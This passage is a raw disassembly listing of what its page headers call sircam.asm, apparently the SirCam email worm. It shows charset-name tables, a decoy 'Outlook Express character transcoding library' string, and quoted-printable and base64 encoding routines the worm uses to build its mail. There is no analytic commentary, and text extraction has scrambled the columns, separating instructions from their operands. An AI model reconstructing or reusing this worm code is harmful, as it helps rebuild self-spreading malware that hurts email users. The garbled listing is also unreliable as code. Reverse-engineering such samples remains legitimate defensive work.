ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EF82: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x3 edx, offset dword_40F0B0 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EF90: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x4 edx, offset dword_40F0C4 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EF9E: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x5 edx, offset dword_40F0D8 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EFAC: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x6 edx, offset dword_40F0EC sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EFBA: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x7 edx, offset dword_40F100 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EFC8: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x8 edx, offset dword_40F114 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_40EFD6: 429 ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x9 edx, offset dword_40F128 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EFE4: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0xa edx, offset dword_40F13C sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40EFF2: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0xb edx, offset dword_40F154 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F000: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0xc edx, offset dword_40F16C sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F00E: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0xd edx, offset dword_40F184 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F01C: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0xe edx, offset dword_40F19C sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F02A: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0xf edx, offset dword_40F1B4 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F038: mov mov call pop ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x10 edx, offset dword_40F1CC sub_40351C ebx sircam.asm Fri Aug 10 12:42:44 2001 430 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F046: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x11 edx, offset dword_40F1E4 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F054: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x12 edx, offset dword_40F1FC sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F062: ; CODE XREF: sub_40EF00+F\030j ; DATA XREF: sub_40EF00+16\030o eax, ebx ; case 0x13 edx, offset dword_40F214 sub_40351C ebx mov mov call pop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F070: sub_40EF00 mov mov call pop retn endp ; CODE XREF: sub_40EF00+9\030j ; sub_40EF00+F\030j ; DATA XREF: ... eax, ebx ; default edx, offset dword_40F224 sub_40351C ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 0Ah dword_40F088 dd 2D4F5349h, 39353838h, 322Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+6 8\030o dword_40F09C dd 2D4F5349h, 39353838h, 332Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+7 6\030o dword_40F0B0 dd 2D4F5349h, 39353838h, 342Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+8 4\030o dword_40F0C4 dd 2D4F5349h, 39353838h, 352Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+9 2\030o dword_40F0D8 dd 2D4F5349h, 39353838h, 362Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+A 0\030o dword_40F0EC dd 2D4F5349h, 39353838h, 372Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+A E\030o dword_40F100 dd 2D4F5349h, 39353838h, 382Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+B C\030o dword_40F114 dd 2D4F5349h, 39353838h, 392Dh, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_40EF00+C A\030o dword_40F128 dd 2D4F5349h, 39353838h, 30312Dh, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40EF00+D8\030o dword_40F13C dd 444E4957h, 2D53574Fh, 30353231h, 0, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40EF00+E6\030o dword_40F154 dd 444E4957h, 2D53574Fh, 31353231h, 0, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40EF00+F4\030o dword_40F16C dd 444E4957h, 2D53574Fh, 32353231h, 0, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40EF00+102\030o dword_40F184 dd 444E4957h, 2D53574Fh, 33353231h, 0, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40EF00+110\030o dword_40F19C dd 444E4957h, 2D53574Fh, 34353231h, 0, 0FFFFFFFFh, 0Ch sircam.asm dword_40F1B4 dword_40F1CC dword_40F1E4 dword_40F1FC dword_40F214 dword_40F224 Fri Aug 10 12:42:44 2001 431 ; DATA XREF: sub_40EF00+11E\030o dd 444E4957h, 2D53574Fh, 35353231h, 0, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40EF00+12C\030o dd 444E4957h, 2D53574Fh, 36353231h, 0, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40EF00+13A\030o dd 444E4957h, 2D53574Fh, 37353231h, 0, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40EF00+148\030o dd 444E4957h, 2D53574Fh, 38353231h, 0, 0FFFFFFFFh, 6 ; DATA XREF: sub_40EF00+156\030o dd 38494F4Bh, 522Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+164\030o dd 2D4F5349h, 39353838h, 312Dh ; DATA XREF: sub_40EF00+172\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40F230 proc near var_1C var_18 var_14 var_10 var_A var_9 var_5 var_4 = = = = = = = = ; CODE XREF: sub_412240+3D\031p ; sub_412620+75\031p dword ptr -1Ch dword ptr -18h dword ptr -14h dword ptr -10h byte ptr -0Ah dword ptr -9 byte ptr -5 dword ptr -4 push mov add push push push xor mov mov mov mov mov mov mov call xor push push push mov mov lea call mov call mov test jle mov ebp ebp, esp esp, 0FFFFFFE4h ebx esi edi ebx, ebx [ebp+var_1C], ebx [ebp+var_14], ebx [ebp+var_18], ebx [ebp+var_9], ecx [ebp+var_5], dl [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_40F334 dword ptr fs:[eax] fs:[eax], esp [ebp+var_A], 0 eax, [ebp+var_14] sub_4034C8 eax, [ebp+var_4] sub_403724 ebx, eax ebx, ebx short loc_40F2AB esi, 1 mov mov cmp jbe lea mov mov call mov lea call ; CODE XREF: sub_40F230+79\031j eax, [ebp+var_4] al, [eax+esi-1] al, 7Fh short loc_40F2A7 eax, [ebp+var_1C] edx, [ebp+var_4] dl, [edx+esi-1] sub_403670 edx, [ebp+var_1C] eax, [ebp+var_14] sub_40372C loc_40F282: sircam.asm Fri Aug 10 12:42:44 2001 loc_40F2A7: 432 ; CODE XREF: sub_40F230+5B\030j inc dec jnz esi ebx short loc_40F282 mov xor ; CODE XREF: sub_40F230+4B\030j [ebp+var_10], 80h esi, esi mov mov cmp ja and bt ebx, esi eax, ebx al, 1Fh short loc_40F2C3 eax, 7Fh [ebp+var_9], eax jnb lea push mov mov mov call xor mov call mov test jle mov ; CODE XREF: sub_40F230+8A\030j short loc_40F30B eax, [ebp+var_18] eax ecx, ebx dl, [ebp+var_5] eax, [ebp+var_14] sub_40EDA4 edi, edi eax, [ebp+var_18] sub_403724 ebx, eax ebx, ebx short loc_40F2FA eax, 1 mov cmp jnz inc ; CODE XREF: sub_40F230+C8\031j edx, [ebp+var_18] byte ptr [edx+eax-1], 5Fh short loc_40F2F6 edi inc dec jnz eax ebx short loc_40F2EB cmp jge mov mov mov test jz ; CODE XREF: sub_40F230+B4\030j edi, [ebp+var_10] short loc_40F30B [ebp+var_10], edi eax, esi [ebp+var_A], al edi, edi short loc_40F311 loc_40F2AB: loc_40F2B4: ; CODE XREF: sub_40F230+DF\031j loc_40F2C3: loc_40F2EB: loc_40F2F6: ; CODE XREF: sub_40F230+C3\030j loc_40F2FA: loc_40F30B: ; CODE XREF: sub_40F230+93\030j ; sub_40F230+CD\030j inc cmp jnz esi esi, 14h short loc_40F2B4 xor pop pop pop mov push ; CODE XREF: sub_40F230+D9\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40F33B lea ; CODE XREF: CODE:0040F339\031j eax, [ebp+var_1C] loc_40F311: loc_40F31E: sircam.asm sub_40F230 Fri Aug 10 12:42:44 2001 433 mov edx, 3 call sub_4034EC lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -34h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F334: ; DATA XREF: sub_40F230+28\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40F31E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F33B: ; DATA XREF: sub_40F230+E9\030o mov al, [ebp-0Ah] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40F348 proc near ; DATA XREF: CODE:0041A948\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40F36D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E650 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40F374 locret_40F36C: ; CODE XREF: sub_40F348+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F36D: ; DATA XREF: sub_40F348+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40F36C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F374: sub_40F348 ; CODE XREF: sub_40F348+24\030j ; DATA XREF: sub_40F348+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40F378: ; DATA XREF: CODE:0041A944\031o sub ds:dword_41E650, 1 jnb short locret_40F3B1 jmp short locret_40F3B1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 434 aOutlookExpress db ’Outlook Express character transcoding library’,0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ locret_40F3B1: ; CODE XREF: CODE:0040F37F\030j ; CODE:0040F381\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40F3B4 proc near var_2C var_28 var_8 var_4 = = = = dword dword dword dword push mov add push push push xor mov mov mov mov mov call xor push push push mov mov call mov call mov test jle mov loc_40F3FA: ptr ptr ptr ptr ; CODE XREF: sub_4118CC+1A7\031p ; sub_412048+49\031p -2Ch -28h -8 -4 ebp ebp, esp esp, 0FFFFFFD4h ebx esi edi ecx, ecx [ebp+var_2C], ecx [ebp+var_8], ecx esi, edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_40F48F dword ptr fs:[eax] fs:[eax], esp eax, esi sub_4034C8 eax, [ebp+var_4] sub_403724 ebx, eax ebx, ebx short loc_40F46C edi, 1 ; CODE XREF: sub_40F3B4+B6\031j lea eax, [ebp+var_8] mov edx, [ebp+var_4] mov dl, [edx+edi-1] call sub_403670 push esi push edi mov esi, offset unk_41D700 lea edi, [ebp+var_28] mov ecx, 8 repe movsd pop edi pop esi lea eax, [ebp+var_28] mov edx, offset dword_40F4A0 mov cl, 20h call sub_402A44 mov eax, [ebp+var_8] mov al, [eax] and eax, 0FFh bt [ebp+var_28], eax jnb short loc_40F45E sircam.asm Fri Aug 10 12:42:44 2001 lea mov movzx mov call mov lea mov call ecx, [ebp+var_2C] eax, [ebp+var_8] eax, byte ptr [eax] edx, 2 sub_40701C ecx, [ebp+var_2C] eax, [ebp+var_8] edx, offset dword_40F4C8 sub_403770 mov mov call inc dec jnz eax, esi edx, [ebp+var_8] sub_40372C edi ebx short loc_40F3FA xor pop pop pop mov push ; CODE XREF: sub_40F3B4+3F\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40F496 loc_40F45E: ; CODE XREF: sub_40F3B4+85\030j loc_40F46C: loc_40F479: sub_40F3B4 435 ; CODE XREF: CODE:0040F494\031j lea eax, [ebp+var_2C] call sub_4034C8 lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -40h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F48F: ; DATA XREF: sub_40F3B4+21\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40F479 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F496: ; DATA XREF: sub_40F3B4+C0\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_40F4A0 dd 0FFFFFFFEh, 3 dup(0), 5 dup(0FFFFFFFFh), 1 ; DATA XREF: sub_40F3B4+6B \030o dword_40F4C8 dd 3Dh ; DATA XREF: sub_40F3B4+A0\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40F4CC proc near var_10 var_C var_B var_A var_9 var_8 var_4 = = = = = = = dword ptr -10h byte ptr -0Ch byte ptr -0Bh byte ptr -0Ah byte ptr -9 dword ptr -8 dword ptr -4 ; CODE XREF: sub_4118CC+105\031p sircam.asm Fri Aug 10 12:42:44 2001 436 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi push edi xor ecx, ecx mov [ebp+var_10], ecx mov edi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_4038D8 xor eax, eax push ebp push offset loc_40F5FA push dword ptr fs:[eax] mov fs:[eax], esp mov eax, edi call sub_4034C8 mov [ebp+var_8], 1 jmp loc_40F5CB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F508: ; CODE XREF: sub_40F4CC+10A\031j mov eax, [ebp+var_4] mov edx, [ebp+var_8] mov al, [eax+edx-1] inc [ebp+var_8] mov edx, eax and dl, 0FCh and edx, 0FFh shr edx, 2 mov [ebp+var_C], dl and al, 3 shl eax, 4 mov [ebp+var_B], al mov eax, [ebp+var_4] call sub_403724 cmp eax, [ebp+var_8] jl short loc_40F599 mov eax, [ebp+var_4] mov edx, [ebp+var_8] mov al, [eax+edx-1] inc [ebp+var_8] mov edx, eax and dl, 0F0h and edx, 0FFh shr edx, 4 add [ebp+var_B], dl and al, 0Fh shl eax, 2 mov [ebp+var_A], al mov eax, [ebp+var_4] call sub_403724 cmp eax, [ebp+var_8] jl short loc_40F593 mov eax, [ebp+var_4] mov edx, [ebp+var_8] mov al, [eax+edx-1] inc [ebp+var_8] mov edx, eax and dl, 0C0h and edx, 0FFh shr edx, 6 add [ebp+var_A], dl and al, 3Fh mov [ebp+var_9], al jmp short loc_40F5A1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 437 loc_40F593: ; CODE XREF: sub_40F4CC+A0\030j mov [ebp+var_9], 40h jmp short loc_40F5A1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F599: ; CODE XREF: sub_40F4CC+6D\030j mov mov [ebp+var_A], 40h [ebp+var_9], 40h loc_40F5A1: ; CODE XREF: sub_40F4CC+C5\030j ; sub_40F4CC+CB\030j mov lea esi, 4 ebx, [ebp+var_C] lea xor mov mov ; CODE XREF: sub_40F4CC+FD\031j eax, [ebp+var_10] edx, edx dl, [ebx] ecx, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh mov call mov mov call inc dec jnz dl, [ecx+edx] sub_403670 edx, [ebp+var_10] eax, edi sub_40372C ebx esi short loc_40F5A9 mov call cmp jge xor pop pop pop mov push ; CODE XREF: sub_40F4CC+37\030j eax, [ebp+var_4] sub_403724 eax, [ebp+var_8] loc_40F508 eax, eax edx ecx ecx fs:[eax], edx offset loc_40F601 loc_40F5A9: ijklm"... loc_40F5CB: loc_40F5E9: sub_40F4CC ; CODE XREF: CODE:0040F5FF\031j lea eax, [ebp+var_10] call sub_4034C8 lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -24h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F5FA: ; DATA XREF: sub_40F4CC+1E\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40F5E9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F601: ; DATA XREF: sub_40F4CC+118\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 41h aAbcdefghijklmn db 